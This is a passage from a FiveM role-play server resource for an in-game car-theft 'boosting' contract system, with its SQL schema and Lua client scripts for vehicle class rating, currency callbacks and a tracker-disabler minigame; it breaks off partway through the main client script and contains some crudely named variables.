└── boosting
├── boosting.sql
├── client
├── cl_funcs.lua
└── cl_main.lua
├── config.lua
├── fxmanifest.lua
├── readme.md
├── server
└── sv_main.lua
└── ui
├── index.html
├── jquery-3.6.0.min.js
├── main.js
└── style.css
/boosting/boosting.sql:
--------------------------------------------------------------------------------
1 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
2 | /*!40101 SET NAMES utf8 */;
3 | /*!50503 SET NAMES utf8mb4 */;
4 | /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
5 | /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
6 | /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
7 |
8 | CREATE TABLE IF NOT EXISTS `bropixel_boosting` (
9 | `#` int(11) NOT NULL AUTO_INCREMENT,
10 | `citizenid` varchar(255) NOT NULL,
11 | `BNE` text NOT NULL DEFAULT '0',
12 | `background` varchar(255) DEFAULT NULL,
13 | `vin` int(11) DEFAULT NULL,
14 | PRIMARY KEY (`#`),
15 | KEY `citizenid` (`citizenid`)
16 | ) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=latin1;
17 |
18 | -- Data exporting was unselected.
19 |
20 | /*!40101 SET SQL_MODE=IFNULL(@OLD_SQL_MODE, '') */;
21 | /*!40014 SET FOREIGN_KEY_CHECKS=IFNULL(@OLD_FOREIGN_KEY_CHECKS, 1) */;
22 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
23 | /*!40111 SET SQL_NOTES=IFNULL(@OLD_SQL_NOTES, 1) */;
24 |
--------------------------------------------------------------------------------
/boosting/client/cl_funcs.lua:
--------------------------------------------------------------------------------
1 | ----------------------------------------------------------------------------------------------------------------------------
2 | local CoreName = nil
3 | local ESX = nil
4 |
5 | if Config['General']["Core"] == "QBCORE" then
6 | if Config['CoreSettings']["QBCORE"]["Version"] == "new" then
7 | CoreName = Config['CoreSettings']["QBCORE"]["Export"]
8 | else
9 | Citizen.CreateThread(function()
10 | while true do
11 | Citizen.Wait(10)
12 | if CoreName == nil then
13 | TriggerEvent(Config['CoreSettings']["QBCORE"]["Trigger"], function(obj) CoreName = obj end)
14 | Citizen.Wait(200)
15 | end
16 | end
17 | end)
18 | end
19 | elseif Config['General']["Core"] == "ESX" then
20 | Citizen.CreateThread(function()
21 | while ESX == nil do
22 | TriggerEvent(Config['CoreSettings']["ESX"]["Trigger"], function(obj) ESX = obj end)
23 | Citizen.Wait(0)
24 | end
25 | end)
26 | end
27 | ----------------------------------------------------------------------------------------------------------------------------
28 |
29 | BNEBoosting = {}
30 |
31 |
32 | BNEBoosting['functions'] = {
33 | GetCurrentBNE = function()
34 | if Config['General']["Core"] == "QBCORE" then
35 | CoreName.Functions.TriggerCallback('bropixel-boosting:getCurrentBNE', function(amount)
36 | value = amount.BNE
37 | background = amount.background
38 | end)
39 | Wait(200)
40 | return ({bne = value ,back = background})
41 | elseif Config['General']["Core"] == "ESX" then
42 | ESX.TriggerServerCallback('bropixel-boosting:getCurrentBNE', function(amount)
43 | value = amount.BNE
44 | background = amount.background
45 | end)
46 | Wait(200)
47 | return ({bne = value ,back = background})
48 | elseif Config['General']["Core"] == "NPBASE" then
49 | local amount = RPC.execute("bropixel-boosting:getCurrentBNE")
50 | if amount ~= nil then
51 | value = amount.BNE
52 | background = amount.background
53 | Wait(200)
54 | return ({bne = value ,back = background})
55 | end
56 | end
57 | end,
58 | RemoveBNE = function(amount)
59 | if Config['General']["Core"] == "QBCORE" then
60 | CoreName.Functions.TriggerCallback('bropixel-boosting:removeBNE', function(amount)
61 | end , amount)
62 | Wait(200)
63 | return true
64 | elseif Config['General']["Core"] == "ESX" then
65 | ESX.TriggerServerCallback('bropixel-boosting:removeBNE', function(amount)
66 | end , amount)
67 | Wait(200)
68 | return true
69 | elseif Config['General']["Core"] == "NPBASE" then
70 | RPC.execute("bropixel-boosting:removeBNE",amount)
71 | Wait(200)
72 | return true
73 | end
74 | end,
75 | SetBackground = function(backgroundurl)
76 | TriggerServerEvent("bropixel-boosting:server:setBacgkround" , backgroundurl)
77 | end,
78 |
79 | AddBne = function(amount)
80 | if Config['General']["Core"] == "QBCORE" then
81 | CoreName.Functions.TriggerCallback('bropixel-boosting:addBne', function(amount)
82 | end , amount)
83 | Wait(200)
84 | return true
85 | elseif Config['General']["Core"] == "ESX" then
86 | ESX.TriggerServerCallback('bropixel-boosting:addBne', function(amount)
87 | Wait(200)
88 | return true
89 | end , amount)
90 | elseif Config['General']["Core"] == "NPBASE" then
91 | RPC.execute("bropixel-boosting:addBne",amount)
92 | Wait(200)
93 | return true
94 | end
95 | end,
96 | }
--------------------------------------------------------------------------------
/boosting/client/cl_main.lua:
--------------------------------------------------------------------------------
1 | ----------------------------------------------------------------------------------------------------------------------------
2 | local CoreName = nil
3 | local ESX = nil
4 |
5 | if Config['General']["Core"] == "QBCORE" then
6 | if Config['CoreSettings']["QBCORE"]["Version"] == "new" then
7 | CoreName = Config['CoreSettings']["QBCORE"]["Export"]
8 | else
9 | Citizen.CreateThread(function()
10 | while true do
11 | Citizen.Wait(10)
12 | if CoreName == nil then
13 | TriggerEvent(Config['CoreSettings']["QBCORE"]["Trigger"], function(obj) CoreName = obj end)
14 | Citizen.Wait(200)
15 | end
16 | end
17 | end)
18 | end
19 | elseif Config['General']["Core"] == "ESX" then
20 | Citizen.CreateThread(function()
21 | while ESX == nil do
22 | TriggerEvent(Config['CoreSettings']["ESX"]["Trigger"], function(obj) ESX = obj end)
23 | Citizen.Wait(0)
24 | end
25 | end)
26 | end
27 | ----------------------------------------------------------------------------------------------------------------------------
28 |
29 | local authorized = false
30 | local gay = nil
31 | local DisablerUsed = false
32 | local DisablerTimes = 0
33 | local NUIPAGE = nil
34 | local started = false
35 | local startedcontractid = 0
36 | local checked = false
37 | local vinstarted = false
38 | local CanUseComputer = false
39 | local CanScratchVehicle = false
40 | local MainThreadStarted = false
41 | local URL = Config['Utils']["Laptop"]["DefaultBackground"]
42 |
43 |
44 | OnTheDropoffWay = false
45 | CompletedTask = false
46 | DropblipCreated = false
47 | CallingCops = false
48 | Contracts = {}
49 |
50 |
51 |
52 |
53 |
54 | -- AddEventHandler("onClientResourceStart", function(resource)
55 | -- if (resource == GetCurrentResourceName()) then
56 | -- Citizen.Wait(500)
57 | -- return TriggerServerEvent("bropixel-boosting:loadNUI")
58 | -- end
59 | -- end)
60 |
61 |
62 |
63 | local function getField(field , vehicle)
64 | return GetVehicleHandlingFloat(vehicle, 'CHandlingData', field)
65 | end
66 |
67 | function CreateVeh(model , coord, id)
68 | local ModelHash = tostring(model)
69 | if not IsModelInCdimage(ModelHash) then return end
70 | RequestModel(ModelHash)
71 | while not HasModelLoaded(ModelHash) do
72 | Citizen.Wait(10)
73 | end
74 | Vehicle = CreateVehicle(ModelHash, coord.x, coord.y , coord.z, 0.0, true, false)
75 | SetModelAsNoLongerNeeded(ModelHash)
76 | SetVehicleEngineOn(Vehicle, false, false)
77 | SetVehicleDoorsLocked(Vehicle, 2)
78 | local isMotorCycle = IsThisModelABike(Vehicle)
79 | local fInitialDriveMaxFlatVel = getField("fInitialDriveMaxFlatVel" , Vehicle)
80 | local fInitialDriveForce = getField("fInitialDriveForce" , Vehicle)
81 | local fDriveBiasFront = getField("fDriveBiasFront" ,Vehicle )
82 | local fInitialDragCoeff = getField("fInitialDragCoeff" , Vehicle)
83 | local fTractionCurveMax = getField("fTractionCurveMax" , Vehicle)
84 | local fTractionCurveMin = getField("fTractionCurveMin" , Vehicle )
85 | local fSuspensionReboundDamp = getField("fSuspensionReboundDamp" , Vehicle )
86 | local fBrakeForce = getField("fBrakeForce" ,Vehicle )
87 | local force = fInitialDriveForce
88 | local handling = (fTractionCurveMax + fSuspensionReboundDamp) * fTractionCurveMin
89 | local braking = ((fTractionCurveMin / fInitialDragCoeff) * fBrakeForce) * 7
90 | local accel = (fInitialDriveMaxFlatVel * force) / 10
91 | local speed = ((fInitialDriveMaxFlatVel / fInitialDragCoeff) * (fTractionCurveMax + fTractionCurveMin)) / 40
92 | local perfRating = ((accel * 5) + speed + handling + braking) * 15
93 | local vehClass = "F"
94 | if isMotorCycle then
95 | vehClass = "M"
96 | elseif perfRating > 900 then
97 | vehClass = "X"
98 | elseif perfRating > 700 then
99 | vehClass = "S"
100 | elseif perfRating > 550 then
101 | vehClass = "A"
102 | elseif perfRating > 400 then
103 | vehClass = "B"
104 | elseif perfRating > 325 then
105 | vehClass = "C"
106 | else
107 | vehClass = "D"
108 | end
109 |
110 | return ({c = vehClass , v = GetVehicleNumberPlateText(Vehicle) , vehicleshit = Vehicle})
111 | end
112 |
113 |
114 |
115 |
116 | RegisterNetEvent('bropixel-boosting:CreateContract')
117 | AddEventHandler('bropixel-boosting:CreateContract' , function(shit)
118 | local num = math.random(#Config.Vehicles)
119 | local dick = Config.Vehicles[num].vehicle
120 | local coord = Config.VehicleCoords[math.random(#Config.VehicleCoords)]
121 | local owner = Config.CitizenNames[math.random(#Config.CitizenNames)].name
122 | local response = CreateVeh(dick , vector3(0.0,0.0,0.0))
123 |
124 | VehiclePrice = Config['Utils']["ClassPrices"][response.c]
125 | if(shit == nil) then
126 | shit = false
127 | else
128 | shit = true
129 | end
130 | if Config['General']["Core"] == "QBCORE" then
131 | CoreName.Functions.TriggerCallback('bropixel-boosting:GetExpireTime', function(result)
132 | if result then
133 | local data = {
134 | vehicle = dick,
135 | price = Config.Vehicles[num].price,
136 | owner = owner,
137 | price = VehiclePrice,
138 | type = response.c,
139 | expires = '6 Hours',
140 | time = result,
141 | id = #Contracts+1,
142 | coords = coord,
143 | plate = 'ddd',
144 | started = false,
145 | vin = shit
146 |
147 | }
148 | local class = data.type
149 | if(HasItem('pixellaptop') == true) then
150 | if Config['General']["UseNotificationsInsteadOfEmails"] then
151 | CoreName.Functions.Notify("You have recieved a "..class.. " Boosting...", "success", 3500)
152 | else
153 | RevievedOfferEmail(data.owner, data.type)
154 | end
155 | end
156 | table.insert(Contracts , data)
157 | end
158 | end)
159 | elseif Config['General']["Core"] == "ESX" then
160 | ESX.TriggerServerCallback('bropixel-boosting:GetExpireTime', function(result)
161 | if result then
162 | local data = {
163 | vehicle = dick,
164 | price = Config.Vehicles[num].price,
165 | owner = owner,
166 | price = VehiclePrice,
167 | type = response.c,
168 | expires = '6 Hours',
169 | time = result,
170 | id = #Contracts+1,
171 | coords = coord,
172 | plate = 'ddd',
173 | started = false,
174 | vin = shit
175 |
176 | }
177 | local class = data.type
178 | if(HasItem('pixellaptop') == true) then
179 | if Config['General']["UseNotificationsInsteadOfEmails"] then
180 | ShowNotification("You have recieved a "..class.. " Boosting...", "success")
181 | else
182 | RevievedOfferEmail(data.owner, data.type)
183 | end
184 | table.insert(Contracts , data)
185 | end
186 | end
187 | end)
188 | elseif Config['General']["Core"] == "NPBASE" then
189 | local ExpireTime = RPC.execute("bropixel-boosting:GetExpireTime")
190 |
191 | if ExpireTime then
192 | local data = {
193 | vehicle = dick,
194 | price = Config.Vehicles[num].price,
195 | owner = owner,
196 | price = VehiclePrice,
197 | type = response.c,
198 | expires = '6 Hours',
199 | time = result,
200 | id = #Contracts+1,
201 | coords = coord,
202 | plate = 'ddd',
203 | started = false,
204 | vin = shit
205 |
206 | }
207 | if(HasItem('pixellaptop') == true) then
208 | if Config['General']["UseNotificationsInsteadOfEmails"] then
209 | local class = data.type
210 | TriggerEvent("DoLongHudText","You have recieved a "..class.. " Boosting...")
211 | else
212 | RevievedOfferEmailNPBASE(data.owner, data.type)
213 | end
214 | table.insert(Contracts , data)
215 | end
216 | end
217 | end
218 | DeleteVehicle(response.vehicleshit)
219 | end)
220 |
221 |
222 |
223 | RegisterNetEvent("bropixel-boosting:StartContract")
224 | AddEventHandler("bropixel-boosting:StartContract" , function(id , vin)
225 | for k,v in ipairs(Contracts) do
226 | if(tonumber(v.id) == tonumber(id)) then
227 | local extracoors = v.coords
228 | local shit = CreateVeh(v.vehicle , v.coords , k)
229 | SetEntityHeading(Vehicle, extracoors.h)
230 | CreateBlip(v.coords)
231 | Contracts[k].plate = shit.v
232 | if(vin == true) then
233 | vinstarted = true
234 | else
235 | started = true
236 | end
237 | startedcontractid = v.id
238 | if Config['General']["Core"] == "QBCORE" then
239 | CreateListEmail()
240 | elseif Config['General']["Core"] == "ESX" then
241 | CreateListEmail()
242 | elseif Config['General']["Core"] == "NPBASE" then
243 | CreateListEmailNPBASE()
244 | end
245 | end
246 | end
247 | end)
248 |
249 |
250 | RegisterNetEvent("bropixel-boosting:DeleteContract")
251 | AddEventHandler("bropixel-boosting:DeleteContract" , function(id)
252 | for k,v in ipairs(Contracts) do
253 | if(tonumber(v.id) == tonumber(id)) then
254 | table.remove(Contracts, k)
255 | started = false
256 | DeleteCircle()
257 | end
258 | end
259 | end)
260 |
261 |
262 | RegisterNUICallback('dick', function(data)
263 | if Config['General']["Core"] == "QBCORE" then
264 | if Config['General']["MinPolice"] == 0 then
265 | TriggerEvent("bropixel-boosting:StartContract" , data.id)
266 | Contracts[data.id].started = true
267 | SetNuiFocus(false ,false)
268 | else
269 | CoreName.Functions.TriggerCallback('bropixel-boosting:server:GetActivity', function(result)
270 | if(tonumber(BNEBoosting['functions'].GetCurrentBNE().bne) >= tonumber(data.price)) then
271 | if result >= Config['General']["MinPolice"] then
272 | TriggerEvent("bropixel-boosting:StartContract" , data.id)
273 | Contracts[data.id].started = true
274 | SetNuiFocus(false ,false)
275 | else
276 | TriggerEvent("DoLongHudText","Not enough police",2)
277 | SetNuiFocus(false ,false)
278 | end
279 | else
280 | ShowNotification("Not enough BNE",'error')
281 | SetNuiFocus(false ,false)
282 | end
283 | end)
284 | end
285 | elseif Config['General']["Core"] == "ESX" then
286 | ESX.TriggerServerCallback('bropixel-boosting:server:GetActivity', function(result)
287 | if(tonumber(BNEBoosting['functions'].GetCurrentBNE().bne) >= tonumber(data.price)) then
288 | if result >= Config['General']["MinPolice"] then
289 | BNEBoosting['functions'].RemoveBNE(tonumber(data.price))
290 | TriggerEvent("bropixel-boosting:StartContract" , data.id)
291 | Contracts[data.id].started = true
292 | SetNuiFocus(false ,false)
293 | else
294 | ShowNotification("Not enough police",'error')
295 | SetNuiFocus(false ,false)
296 | end
297 | else
298 | ShowNotification("Not enough BNE",'error')
299 | SetNuiFocus(false ,false)
300 | end
301 | end)
302 | elseif Config['General']["Core"] == "NPBASE" then
303 | if(tonumber(BNEBoosting['functions'].GetCurrentBNE().bne) >= tonumber(data.price)) then
304 | if exports[Config['CoreSettings']["NPBASE"]["HandlerScriptName"]]:isPed("countpolice") >= Config['General']["MinPolice"] then
305 | TriggerEvent("bropixel-boosting:StartContract" , data.id)
306 | Contracts[data.id].started = true
307 | SetNuiFocus(false ,false)
308 | else
309 | TriggerEvent("DoLongHudText","Not enough police",2)
310 | SetNuiFocus(false ,false)
311 | end
312 | else
313 | ShowNotification("Not enough BNE",'error')
314 | SetNuiFocus(false ,false)
315 | end
316 | end
317 | end)
318 |
319 |
320 | RegisterNUICallback('decline', function(data)
321 | TriggerEvent("bropixel-boosting:DeleteContract" , data.id)
322 | -- SetNuiFocus(false ,false)
323 | end)
324 |
325 | RegisterNUICallback('close', function(data)
326 | SetNuiFocus(false ,false)
327 | end)
328 |
329 | RegisterNUICallback('vin', function(data)
330 | SetNuiFocus(false ,false)
331 | if(tonumber(BNEBoosting['functions'].GetCurrentBNE().bne) >= tonumber(Config['Utils']["VIN"]["BNEPrice"])) then
332 | Contracts[data.id].started = true
333 | BNEBoosting['functions'].RemoveBNE(Config['Utils']["VIN"]["BNEPrice"])
334 | TriggerEvent("bropixel-boosting:StartContract" , data.id , true)
335 | else
336 | if Config['General']["Core"] == "QBCORE" then
337 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["NotEnoughBNE"], "error", 3500)
338 | elseif Config['General']["Core"] == "ESX" then
339 | ShowNotification(Config['Utils']["Notifications"]["NotEnoughBNE"],'error')
340 | elseif Config['General']["Core"] == "NPBASE" then
341 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["NotEnoughBNE"],2)
342 | end
343 | end
344 | end)
345 |
346 |
347 |
348 | RegisterNUICallback('updateurl' , function(data)
349 | URL = data.url
350 | BNEBoosting['functions'].SetBackground(data.url)
351 | end)
352 |
353 |
354 | RegisterNetEvent("bropixel-boosting:DisablerUsed")
355 | AddEventHandler("bropixel-boosting:DisablerUsed" , function()
356 | if OnTheDropoffWay then
357 | local Class = Contracts[startedcontractid].type
358 | if (Config['Utils']["Contracts"]["DisableTrackingOnDCB"]) and (Class == "D" or Class == "C" or Class == "B") then
359 | if Config['General']["Core"] == "QBCORE" then
360 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["NoTrackerOnThisVehicle"], "error", 3500)
361 | elseif Config['General']["Core"] == "ESX" then
362 | ShowNotification(Config['Utils']["Notifications"]["NoTrackerOnThisVehicle"],'error')
363 | elseif Config['General']["Core"] == "NPBASE" then
364 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["NoTrackerOnThisVehicle"],2)
365 | end
366 | elseif(vinstarted == false) then
367 | if(DisablerTimes < 4) then
368 | DisablerUsed = true
369 | local minigame = exports['bropixel-minigame']:Open()
370 | if(minigame == true and DisablerTimes < 4) then
371 | if(DisablerTimes == 3) then
372 | DisablerTimes = DisablerTimes + 1
373 | CallingCops = false
374 | TriggerServerEvent("bropixel-boosting:removeblip")
375 | if Config['General']["Core"] == "QBCORE" then
376 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["TrackerRemoved"], "success", 3500)
377 | elseif Config['General']["Core"] == "ESX" then
378 | ShowNotification(Config['Utils']["Notifications"]["TrackerRemoved"],'success')
379 | elseif Config['General']["Core"] == "NPBASE" then
380 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["TrackerRemoved"])
381 | end
382 | elseif(DisablerTimes < 3) then
383 | Config['Utils']["Blips"]["BlipUpdateTime"] = 7000
384 | DisablerTimes = DisablerTimes + 1
385 | TriggerServerEvent("bropixel-boosting:SetBlipTime")
386 | if Config['General']["Core"] == "QBCORE" then
387 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["SuccessHack"], "success", 3500)
388 | elseif Config['General']["Core"] == "ESX" then
389 | ShowNotification(Config['Utils']["Notifications"]["SuccessHack"],'success')
390 | elseif Config['General']["Core"] == "NPBASE" then
391 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["SuccessHack"])
392 | end
393 | end
394 |
395 |
396 | end
397 | end
398 | end
399 | else if vinstarted == true then
400 | if(DisablerTimes < 6) then
401 | DisablerUsed = true
402 | local minigame = exports['bropixel-minigame']:Open()
403 | if(minigame == true) then
404 | Config['Utils']["Blips"]["BlipUpdateTime"] = Config['Utils']["Blips"]["BlipUpdateTime"] + 5000
405 | DisablerTimes = DisablerTimes + 1
406 | TriggerServerEvent("bropixel-boosting:SetBlipTime")
407 | if Config['General']["Core"] == "QBCORE" then
408 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["SuccessHack"], "success", 3500)
409 | elseif Config['General']["Core"] == "ESX" then
410 | ShowNotification(Config['Utils']["Notifications"]["SuccessHack"],'success')
411 | elseif Config['General']["Core"] == "NPBASE" then
412 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["SuccessHack"])
413 | end
414 | end
415 | else
416 | if(DisablerTimes == 6) then
417 | CallingCops = false
418 | TriggerServerEvent("bropixel-boosting:removeblip")
419 | CanUseComputer = true
420 | if Config['General']["Core"] == "QBCORE" then
421 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["TrackerRemovedVINMission"]["VINMission"], "success", 3500)
422 | elseif Config['General']["Core"] == "ESX" then
423 | ShowNotification(Config['Utils']["Notifications"]["TrackerRemovedVINMission"]["VINMission"],'success')
424 | elseif Config['General']["Core"] == "NPBASE" then
425 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["TrackerRemovedVINMission"]["VINMission"])
426 | end
427 | if not MainThreadStarted then
428 | MainThread()
429 | end
430 | end
431 | end
432 | else
433 | if Config['General']["Core"] == "QBCORE" then
434 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["NoMissionDetected"], "error", 3500)
435 | elseif Config['General']["Core"] == "ESX" then
436 | ShowNotification(Config['Utils']["Notifications"]["NoMissionDetected"],'error')
437 | elseif Config['General']["Core"] == "NPBASE" then
438 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["NoMissionDetected"],2)
439 | end
440 | end
441 | end
442 | end)
443 |
444 | local NuiLoaded = false
445 |
446 | RegisterNetEvent("bropixel-boosting:DisplayUI")
447 | AddEventHandler("bropixel-boosting:DisplayUI" , function()
448 |
449 | if NuiLoaded then
450 | for k,v in ipairs(Contracts) do
451 | local data = {
452 | vehicle = GetDisplayNameFromVehicleModel(v.vehicle),
453 | price = v.price,
454 | owner = v.owner,
455 | type = v.type,
456 | expires = '6 Hours',
457 | id = v.id,
458 | started = v.started,
459 | vin = v.vin
460 | }
461 | SendNUIMessage({add = 'true' , data = data })
462 | end
463 | if( BNEBoosting['functions'].GetCurrentBNE().back ~= nil ) then
464 | URL = BNEBoosting['functions'].GetCurrentBNE().back
465 | end
466 | SetNuiFocus(true ,true)
467 | SendNUIMessage({show = 'true' , logo = Config['Utils']["Laptop"]["LogoUrl"] , background = URL, time = GetClockHours()..":"..GetClockMinutes(), BNE = BNEBoosting['functions'].GetCurrentBNE().bne , defaultback = Config['Utils']["Laptop"]["DefaultBackground"]})
468 | else
469 | if Config['General']["Core"] == "QBCORE" then
470 | CoreName.Functions.Notify(Config['Utils']["Notifications"]["UiStillLoadingMsg"], "error", 3500)
471 | elseif Config['General']["Core"] == "ESX" then
472 | ShowNotification(Config['Utils']["Notifications"]["UiStillLoadingMsg"],'error')
473 | elseif Config['General']["Core"] == "NPBASE" then
474 | TriggerEvent("DoLongHudText",Config['Utils']["Notifications"]["UiStillLoadingMsg"],2)
475 | end
476 | Citizen.Wait(3000)
477 | NuiLoaded = true
478 | end
479 | end)
480 |
481 |
482 |
483 | local colorNames = {
484 | ['0'] = "Metallic Black",
485 | ['1'] = "Metallic Graphite Black",
486 | ['2'] = "Metallic Black Steal",
487 | ['3'] = "Metallic Dark Silver",
488 | ['4'] = "Metallic Silver",
489 | ['5'] = "Metallic Blue Silver",
490 | ['6'] = "Metallic Steel Gray",
491 | ['7'] = "Metallic Shadow Silver",
492 | ['8'] = "Metallic Stone Silver",
493 | ['9'] = "Metallic Midnight Silver",
494 | ['10'] = "Metallic Gun Metal",
495 | ['11'] = "Metallic Anthracite Grey",
496 | ['12'] = "Matte Black",
497 | ['13'] = "Matte Gray",
498 | ['14'] = "Matte Light Grey",
499 | ['15'] = "Util Black",
500 | ['16'] = "Util Black Poly",
501 | ['17'] = "Util Dark silver",
502 | ['18'] = "Util Silver",
503 | ['19'] = "Util Gun Metal",
504 | ['20'] = "Util Shadow Silver",
505 | ['21'] = "Worn Black",
506 | ['22'] = "Worn Graphite",
507 | ['23'] = "Worn Silver Grey",
508 | ['24'] = "Worn Silver",
509 | ['25'] = "Worn Blue Silver",
510 | ['26'] = "Worn Shadow Silver",
511 | ['27'] = "Metallic Red",
512 | ['28'] = "Metallic Torino Red",
513 | ['29'] = "Metallic Formula Red",
514 | ['30'] = "Metallic Blaze Red",
515 | ['31'] = "Metallic Graceful Red",
516 | ['32'] = "Metallic Garnet Red",
517 | ['33'] = "Metallic Desert Red",
518 | ['34'] = "Metallic Cabernet Red",
519 | ['35'] = "Metallic Candy Red",
520 | ['36'] = "Metallic Sunrise Orange",
521 | ['37'] = "Metallic Classic Gold",
522 | ['38'] = "Metallic Orange",
523 | ['39'] = "Matte Red",
524 | ['40'] = "Matte Dark Red",
525 | ['41'] = "Matte Orange",
526 | ['42'] = "Matte Yellow",
527 | ['43'] = "Util Red",
528 | ['44'] = "Util Bright Red",
529 | ['45'] = "Util Garnet Red",
530 | ['46'] = "Worn Red",
531 | ['47'] = "Worn Golden Red",
532 | ['48'] = "Worn Dark Red",
533 | ['49'] = "Metallic Dark Green",
534 | ['50'] = "Metallic Racing Green",
535 | ['51'] = "Metallic Sea Green",
536 | ['52'] = "Metallic Olive Green",
537 | ['53'] = "Metallic Green",
538 | ['54'] = "Metallic Gasoline Blue Green",
539 | ['55'] = "Matte Lime Green",
540 | ['56'] = "Util Dark Green",
541 | ['57'] = "Util Green",
542 | ['58'] = "Worn Dark Green",
543 | ['59'] = "Worn Green",
544 | ['60'] = "Worn Sea Wash",
545 | ['61'] = "Metallic Midnight Blue",
546 | ['62'] = "Metallic Dark Blue",
547 | ['63'] = "Metallic Saxony Blue",
548 | ['64'] = "Metallic Blue",
549 | ['65'] = "Metallic Mariner Blue",
550 | ['66'] = "Metallic Harbor Blue",
551 | ['67'] = "Metallic Diamond Blue",
552 | ['68'] = "Metallic Surf Blue",
553 | ['69'] = "Metallic Nautical Blue",
554 | ['70'] = "Metallic Bright Blue",
555 | ['71'] = "Metallic Purple Blue",
556 | ['72'] = "Metallic Spinnaker Blue",
557 | ['73'] = "Metallic Ultra Blue",
558 | ['74'] = "Metallic Bright Blue",
559 | ['75'] = "Util Dark Blue",
560 | ['76'] = "Util Midnight Blue",
561 | ['77'] = "Util Blue",
562 | ['78'] = "Util Sea Foam Blue",
563 | ['79'] = "Uil Lightning blue",
564 | ['80'] = "Util Maui Blue Poly",
565 | ['81'] = "Util Bright Blue",
566 | ['82'] = "Matte Dark Blue",
567 | ['83'] = "Matte Blue",
568 | ['84'] = "Matte Midnight Blue",
569 | ['85'] = "Worn Dark blue",
570 | ['86'] = "Worn Blue",
571 | ['87'] = "Worn Light blue",
572 | ['88'] = "Metallic Taxi Yellow",
573 | ['89'] = "Metallic Race Yellow",
574 | ['90'] = "Metallic Bronze",
575 | ['91'] = "Metallic Yellow Bird",
576 | ['92'] = "Metallic Lime",
577 | ['93'] = "Metallic Champagne",
578 | ['94'] = "Metallic Pueblo Beige",
579 | ['95'] = "Metallic Dark Ivory",
580 | ['96'] = "Metallic Choco Brown",
581 | ['97'] = "Metallic Golden Brown",
582 | ['98'] = "Metallic Light Brown",
583 | ['99'] = "Metallic Straw Beige",
584 | ['100'] = "Metallic Moss Brown",
585 | ['101'] = "Metallic Biston Brown",
586 | ['102'] = "Metallic Beechwood",
587 | ['103'] = "Metallic Dark Beechwood",
588 | ['104'] = "Metallic Choco Orange",
589 | ['105'] = "Metallic Beach Sand",
590 | ['106'] = "Metallic Sun Bleeched Sand",
591 | ['107'] = "Metallic Cream",
592 | ['108'] = "Util Brown",
593 | ['109'] = "Util Medium Brown",
594 | ['110'] = "Util Light Brown",
595 | ['111'] = "Metallic White",
596 | ['112'] = "Metallic Frost White",
597 | ['113'] = "Worn Honey Beige",
598 | ['114'] = "Worn Brown",
599 | ['115'] = "Worn Dark Brown",
600 | ['116'] = "Worn straw beige",
601 | ['117'] = "Brushed Steel",
602 | ['118'] = "Brushed Black steel",
603 | ['119'] = "Brushed Aluminium",
604 | ['120'] = "Chrome",
605 | ['121'] = "Worn Off White",
606 | ['122'] = "Util Off White",
607 | ['123'] = "Worn Orange",
608 | ['124'] = "Worn Light Orange",
609 | ['125'] = "Metallic Securicor Green",
610 | ['126'] = "Worn Taxi Yellow",
611 | ['127'] = "police car blue",
612 | ['128'] = "Matte Green",
613 | ['129'] = "Matte Brown",
614 | ['130'] = "Worn Orange",
615 | ['131'] = "Matte White",
616 | ['132'] = "Worn White",
617 | ['133'] = "Worn Olive Army Green",
618 | ['134'] = "Pure White",
619 | ['135'] = "Hot Pink",
620 | ['136'] = "Salmon pink",
621 | ['137'] = "Metallic Vermillion Pink",
622 | ['138'] = "Orange",
623 | ['139'] = "Green",
624 | ['140'] = "Blue",
625 | ['141'] = "Mettalic Black Blue",
626 | ['142'] = "Metallic Black Purple",
627 | ['143'] = "Metallic Black Red",
628 | ['144'] = "hunter green",
629 | ['145'] = "Metallic Purple",
630 | ['146'] = "Metaillic V Dark Blue",
631 | ['147'] = "MODSHOP BLACK1",
632 | ['148'] = "Matte Purple",
633 | ['149'] = "Matte Dark Purple",
634 | ['150'] = "Metallic Lava Red",
635 | ['151'] = "Matte Forest Green",
636 | ['152'] = "Matte Olive Drab",
637 | ['153'] = "Matte Desert Brown",
638 | ['154'] = "Matte Desert Tan",
639 | ['155'] = "Matte Foilage Green",
640 | ['156'] = "DEFAULT ALLOY COLOR",
641 | ['157'] = "Epsilon Blue",
642 | }
643 |
644 | function getStreetandZone(coords)
645 | local zone = GetLabelText(GetNameOfZone(coords.x, coords.y, coords.z))
646 | local currentStreetHash = GetStreetNameAtCoord(coords.x, coords.y, coords.z)
647 | currentStreetName = GetStreetNameFromHashKey(currentStreetHash)
648 | playerStreetsLocation = currentStreetName .. ", " .. zone
649 | return playerStreetsLocation
650 | end
651 |
652 |
653 | NotifySent = false
654 |
655 | Citizen.CreateThread(function()
656 | while true do
657 | Wait(0)
658 | while started == true do
659 | Wait(1000)
660 | local veh = GetVehiclePedIsIn(GetPlayerPed(PlayerId()) , false)
661 | if(veh ~= 0) then
662 | local PlayerPed = PlayerPedId()
663 | if(GetVehicleNumberPlateText(veh) == Contracts[startedcontractid].plate) then
664 | local PedVehicle = GetVehiclePedIsIn(PlayerPed)
665 | local Driver = GetPedInVehicleSeat(PedVehicle, -1)
666 | if Driver == PlayerPed then
667 | if not(DropblipCreated) then
668 | OnTheDropoffWay = true
669 | DropblipCreated = true
670 | local Class = Contracts[startedcontractid].type
